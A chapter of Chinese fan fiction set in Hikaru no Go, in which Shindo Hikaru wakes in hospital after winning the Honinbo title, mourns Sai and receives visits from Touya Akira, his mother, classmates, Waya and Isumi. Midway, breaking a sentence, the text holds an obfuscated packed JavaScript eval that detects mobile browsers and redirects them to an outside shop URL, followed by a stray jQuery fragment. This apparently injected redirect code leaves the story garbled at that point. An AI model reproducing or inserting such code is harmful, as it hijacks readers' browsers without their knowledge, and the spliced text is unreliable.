雪白的天花板映入眼帘,带着医院特有的消毒水气味。
进藤光缓缓睁开眼,意识还有些混沌。
这里是......病房?
他转动视线,房间里很安静。只有他一个人吗?
也对,只能是一个人吧?佐为已经不在自己身边,以后每次自己醒来,也听不见他叽叽喳喳喊他起床催他下棋的声音了。
就在这时,他才感觉到左手传来温热的触感。往旁边望去,才发现自己的手正被另一只手轻轻握着。
是塔矢亮。少年趴在床沿睡着了,墨绿色的发丝柔顺地贴在颊边,睡颜安静。不知道他在这里守了多久。记忆渐渐回笼:赢下第七局,拿到本因坊头衔,在记者簇拥下接受采访,然后......似乎是体力不支晕了过去。
现在……过去多久了?
进藤光不想惊醒塔矢亮,悄悄移动右手,想够到床头的手机看看时间。就在这时,他才后知后觉地发现,自己的右手上缠着厚厚的绷带。
却在这时塔矢亮醒了过来,他揉了揉眼睛:“前辈什么时候醒的,怎么也不叫我,我现在就去叫医生以及通知伯母你醒来了。”
进藤光刚想开口说“我怎么可能把睡着的你叫醒”,也想问“你在这里守了多久”,塔矢亮却已经急忙离开了病房。
塔矢亮很快带着医生回来了。穿着白大褂的医生仔细检查了进藤光的瞳孔和心率,又轻轻托起他缠着绷带的右手。
“万幸,骨头没事,但是软组织挫伤比较严重,本来摔倒时就有损伤,结果你还硬撑着下了那么久高强度的对局……”医生叹了口气,语气带着不赞同,“职业棋士的手有多重要不用我多说吧?疼痛和疲劳会影响判断力,年轻人,不能太逞强啊。”
进藤光怔了怔,这才后知后觉地想起车祸摔倒时,手臂似乎确实传来过一阵尖锐的痛楚。只是当时全部心神都被即将到来的对局、以及那越来越清晰的离别预感占据,身体的警告竟被完全忽略了。
医生见他呆住,语气改开玩笑道:“最年轻的本因坊头衔者,可一定要保护用于对局的手呢。需要住院观察,确保没有其他潜在问题。这只手近期绝对不能再过度使用,以及好好休息,近期我都不建议你过度用脑。”
也就是最近——至少在伤好之前,都不建议他下棋。
如果是原来的进藤光,一定会悄悄瞒着医生下棋,下盲棋也好,小亮也在身边,他不下棋怎么行?
可现在,他却不知怎的……觉得这样也好。
他暂时想静一静,适应没有佐为的围棋。
医生一边在病历上记录,一边嘱咐了一些其他注意事项,而塔矢亮站在一旁,听得极其认真,墨绿色的眸子一眨不眨,还不时点头。
进藤光看着他这副模样,心里莫名有些发窘,好像自己是个需要被严格看管的未成年,明明小亮才是未成年。
末了,塔矢亮说:“知道了,谢谢您。”
医生离开后,病房里重新安静下来。
塔矢亮默默道:“前辈醒来的事我已经告知伯母了,她很快过来。”
真糟糕,又让老妈担心了。
进藤光泄力靠在枕头上,望着窗外被雪色照得发亮的树叶,一种深沉的疲惫感从骨子里渗出来,并非身体的劳累,而是仿佛被抽空了所有力气的倦怠。
赢了,他拿到了梦寐以求的本因坊头衔,实现了对佐为的承诺。
可心里空落落的。
像是破了一个大洞,寒风正从中呼啸穿过。
塔矢亮开始转述他昏过去后的情况:当前辈突然昏过去时,工作人员和记者都吓了一跳,我……也是,很担心前辈。【进藤光九段带伤上本因坊头衔战绝命局】上了新闻头条,大家都说前辈十分了不起,还有人将前辈誉为日本青年一代的第一天才;和谷伊角他们都来看过前辈,但前辈一直昏迷所以没再打扰。进藤伯母哭了,我让伯母先回去休息,我来代她守着前辈,她待会就会过来,只是可能需要一些时间,因为医院外围了一圈想要采访最年轻本因坊的记者,赶都赶不走……
塔矢亮慢慢讲述,可进藤光却不知道该回复什么,那些喧嚣与赞誉都像是隔着一层玻璃,模糊而遥远。他只能默默点头,不知何时又迷迷糊糊睡了过去。
等他再次醒来时,妈妈正坐在床边给他盛汤。在老妈连番的教育下,进藤光完全投降,发誓下次一定会好好爱护身体。
他其实头还有点晕,也不记得睡之前具体说了什么,只隐约记得是在和小亮交谈。刚想到小亮,他才发现少年正坐在三步外窗边的位置,在窗台上放置了一个棋盘安静下棋——大概是知道妈妈在,特意留出空间不打扰他们。
大概是他醒过来的消息传开,这时藤崎明、三谷等高中同学也来探望。慰问和恭喜过后,有同学好奇地小声问进藤光,坐在那边下棋的小少年是谁,是不是他的学生。
听到学生这个词,进藤光神色一暗,他的老师已经不在了。但他装作若无其事,小声和他们介绍说,那边的是自己的劲敌。
“说起来,进藤,”班长忽然想起什么,语气变得促狭,“有好多女生往你的鞋柜里塞情书哦。”
“对啊,因为最近有比赛,你来学校很少吧,鞋柜都塞满了……”另一个同学接话,“最后不得不让班长替你收好。啊——对了!就在这里。”
“就在我这里——嘿咻!”
一大包沉甸甸的信件砸在进藤光的病床小桌上。
进藤光有些眼冒金星:“……这,这该怎么办?”
班长莫名感觉一道冰凉的视线落在了自己背上,但左看右看也没发现来源,便没在意,继续看好戏:“不知道啊,进藤你现在完全是大名人了,加上本来脸就蛮帅,不如考虑进军影视界?”
进藤光尴尬微笑摆手:“我是很感谢你帮我解决……不过影视界……”
这时,塔矢亮走了过来把这堆情书从进藤光眼前直接拿走,冷淡道:“前辈会一直下棋,对影视界并不会有兴趣。”
班长本来还想反驳“你怎么知道他不会”,却被藤崎明疯狂使眼色制止。众人又聊了些学校近况后便告辞离开。
进藤光盯着那堆情书正一阵头痛,塔矢亮说:“我帮前辈处理吧。”
他松了一口气:“这太好了……”
按理来说,受女生欢迎他应该会开心,并且会认真郑重一一拒绝……但现在进藤光完全没有心情,也没有精力去回复这些。
紧接着和谷与伊角也来探望,和谷几乎是“炸”着风风火火进来的“进藤!”,伊角连忙提醒“这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206032|197338||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里是医院,要安静。”
妈妈欣慰说:“小光终于在这里也有了那么多朋友,做妈妈的好放心。”
“老妈!这种事情不用当面讲的……”
妈妈离开后,和谷激动摇进藤光肩膀:“进藤!你知不知道外面炸锅了!”
进藤光快要晕眩,幸好塔矢亮及时过来将他们分开。他缓了口气说:“知道,因为我拿到了本因坊的头衔吧。”
伊角摇头:“不止这个。除了你是最年轻的本因坊头衔拥有者这个外……现在另一个新闻上也挂着头条,【神秘高手sai的徒弟是今年的本因坊!】。这两个新闻爆在一起,现在好多记者围在外面想采访你!”
和谷“哼”了一声:“不过大概也有想通过你采访sai的。这几天日本棋院的电话都被打爆了,全是世界各国的棋士,都想通过你来问sai的事情,不过都被绪方先生挡了过去……能挡多久,真的不好说。”
真是麻烦绪方先生了,回头必须好好道谢才可以。
进藤光悄悄看了眼一旁的塔矢亮——小亮说起时只是简单带过,没具体跟他说这些,大概是不想让他担心吧。
“说起这个……我真的很生气啊,”和谷怨念道,“我当初问你,你和sai是什么关系时,你是怎么说的!”
“我……怎么说的?”
“你说你们没关系!只是同为秀策流的棋士!好你个进藤光,是不是在背后悄悄笑话我?”
“真抱歉,”进藤光垂眸,“那个时候我还不能说。”
这意外的道歉让和谷愣住了,他习惯性和进藤光拌上面几句嘴,现在,准备好的说辞全都卡在喉咙里:“哦……也、没关系其实,你突然道歉,反而搞得我不适应了。”
伊角有些担忧:“是不是还有些不舒服?”
进藤光也只能说:“嗯,头还有点痛。”
两人又关心了几句,说起了近期棋院要组织年轻棋手去韩国交流学习,为期两个月,他们都会去……大概新年后吧,也没几天了。
进藤光听闻,转头道:“小亮,好像没听你说过,你不去吗?”
塔矢亮头也不抬:“我不去。”
“哦……”
和谷犹豫地开口:“对了,进藤,我……我就是问问,如果你觉得很为难的话直接拒绝就可以。既然你是sai的学生,我想问问你,可以让他和我再下一局棋吗?”
“我……”
如果佐为还在的话,他一定会很乐意吧。
毕竟有时候他也会借自己的手与和谷下棋……不过会刻意隐藏着一些就是了,所以和谷到现在也没发现。
进藤光只能摇摇头:“对不起,我现在也没办法联系他。”
“唉!居然是这样吗?”
“我还以为sai会变活跃呢,就算是匿名也好,谈一谈教学感想。”
“毕竟可是教出了一个最年轻的本因坊!只要是一位老师,能教出这样的学生,都一定会感到骄傲吧?话说回来,难怪进藤那么强啊……”
“但也可能会生气吧,说真的,进藤光顶着满头血来下第七局,真的把人吓死了,爱护身体第一啊!……但是,进藤这份毅力真的好厉害。”
“所以还是会骄傲吧!”
骄傲……啊。